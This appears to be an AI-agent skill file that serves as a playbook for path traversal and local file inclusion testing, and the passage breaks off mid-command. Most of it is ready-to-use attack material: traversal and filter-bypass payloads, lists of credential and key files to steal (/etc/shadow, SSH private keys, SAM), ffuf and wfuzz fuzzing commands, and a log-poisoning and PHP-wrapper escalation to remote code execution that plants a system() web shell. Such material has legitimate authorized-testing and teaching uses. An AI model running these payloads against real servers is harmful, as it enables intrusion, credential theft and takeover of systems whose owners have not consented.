AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
File Path Traversal Testing
Purpose
Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.
Prerequisites
Required Tools
- Web browser with developer tools
- Burp Suite or OWASP ZAP
- cURL for testing payloads
- Wordlists for automation
- ffuf or wfuzz for fuzzing
Required Knowledge
- HTTP request/response structure
- Linux and Windows filesystem layout
- Web application architecture
- Basic understanding of file APIs
Outputs and Deliverables
- Vulnerability Report - Identified traversal points and severity
- Exploitation Proof - Extracted file contents
- Impact Assessment - Accessible files and data exposure
- Remediation Guidance - Secure coding recommendations
Core Workflow
Phase 1: Understanding Path Traversal
Path traversal occurs when applications use user input to construct file paths:
// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
$template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);
Attack principle:
../sequence moves up one directory- Chain multiple sequences to reach root
- Access files outside intended directory
Impact:
- Confidentiality - Read sensitive files
- Integrity - Write/modify files (in some cases)
- Availability - Delete files (in some cases)
- Code Execution - If combined with file upload or log poisoning
Phase 2: Identifying Traversal Points
Map application for potential file operations:
# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=
Common vulnerable functionality:
- Image loading:
/image?filename=23.jpg - Template selection:
?template=blue.php - File downloads:
/download?file=report.pdf - Document viewers:
/view?doc=manual.pdf - Include mechanisms:
?page=about
Phase 3: Basic Exploitation Techniques
Simple Path Traversal
# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts
# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd # Double encoding
# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"
Absolute Path Injection
# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini
Phase 4: Bypass Techniques
Bypass Stripped Traversal Sequences
# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd
# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd
# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Bypass Extension Validation
# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png
# Path truncation
../../../etc/passwd...............................
# Double extension
../../../etc/passwd.jpg.php
Bypass Base Directory Validation
# When path must start with expected directory
/var/www/images/../../../etc/passwd
# Expected path followed by traversal
images/../../../etc/passwd
Bypass Blacklist Filters
# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd
# Overlong UTF-8 encoding
%c0%2e%c0%2e%c0%af
# URL encoding variations
%2e%2e/
%2e%2e%5c
..%5c
..%255c
# Case variations (Windows)
....\\....\\etc\\passwd
Phase 5: Linux Target Files
High-value files to target:
# System files
/etc/passwd # User accounts
/etc/shadow # Password hashes (root only)
/etc/group # Group information
/etc/hosts # Host mappings
/etc/hostname # System hostname
/etc/issue # System banner
# SSH files
/root/.ssh/id_rsa # Root private key
/root/.ssh/authorized_keys # Authorized keys
/home/<user>/.ssh/id_rsa # User private keys
/etc/ssh/sshd_config # SSH configuration
# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config
# Process information
/proc/self/environ # Environment variables
/proc/self/cmdline # Process command line
/proc/self/fd/0 # File descriptors
/proc/version # Kernel version
# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf
Phase 6: Windows Target Files
Windows-specific targets:
# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM
# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\
# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php
# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\
Phase 7: Automated Testing
Using Burp Suite
1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success
Using ffuf
# Basic traversal fuzzing
ffuf -u "http://target.com/image?filename=FUZZ" \
-w /usr/share/wordlists/traversal.txt \
-mc 200
# Fuzzing with encoding
ffuf -u "http://target.com/page?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200,500 -ac
Using wfuzz
# Traverse to /etc/passwd
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
--hc 404 \
"http://target.com/index.php?file=FUZZ"
# With headers/cookies
wfuzz -c -z file,traversal.txt \
-H "Cookie: session=abc123" \
"http://target.com/load?path=FUZZ"
Phase 8: LFI to RCE Escalation
Log Poisoning
# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
# Include auth.log (SSH)
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
Proc/self/environ
# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
"http://target.com/page?file=/proc/self/environ"
# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
"http://target.com/page?file=/proc/self/environ&c=whoami"
PHP Wrapper Exploitation
# php://filter - Read source code as base64
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
# php://input - Execute POST data as PHP
curl -X POST -d "<?php system('id'); ?>" \
"http://target.com/page?file=php://input"
# data:// - Execute inline PHP
curl "http://target.com/p